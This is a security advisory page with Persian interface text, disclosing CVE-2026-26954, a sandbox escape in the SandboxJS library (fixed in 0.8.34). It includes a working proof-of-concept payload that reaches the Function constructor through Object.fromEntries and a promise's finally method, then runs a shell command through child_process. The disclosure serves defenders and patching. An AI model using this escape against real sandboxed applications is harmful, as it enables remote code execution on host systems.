همهٔ گزارش‌ها
بحرانی

SandboxJS affected by a Sandbox Escape

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
<= 0.8.33
نسخهٔ اصلاح‌شده
0.8.34

بهره‌برداری

CVE-2026-26954

احتمال بهره‌برداری در ۳۰ روز آینده: 0.62%

FIRST EPSS · ۱۴۰۵/۰۸/۲۸

شرح آسیب‌پذیری

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC
const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();
Impact

Sandbox Escape -> RCE

پیوندها

گزارش‌دهندگان

  • c0rydoras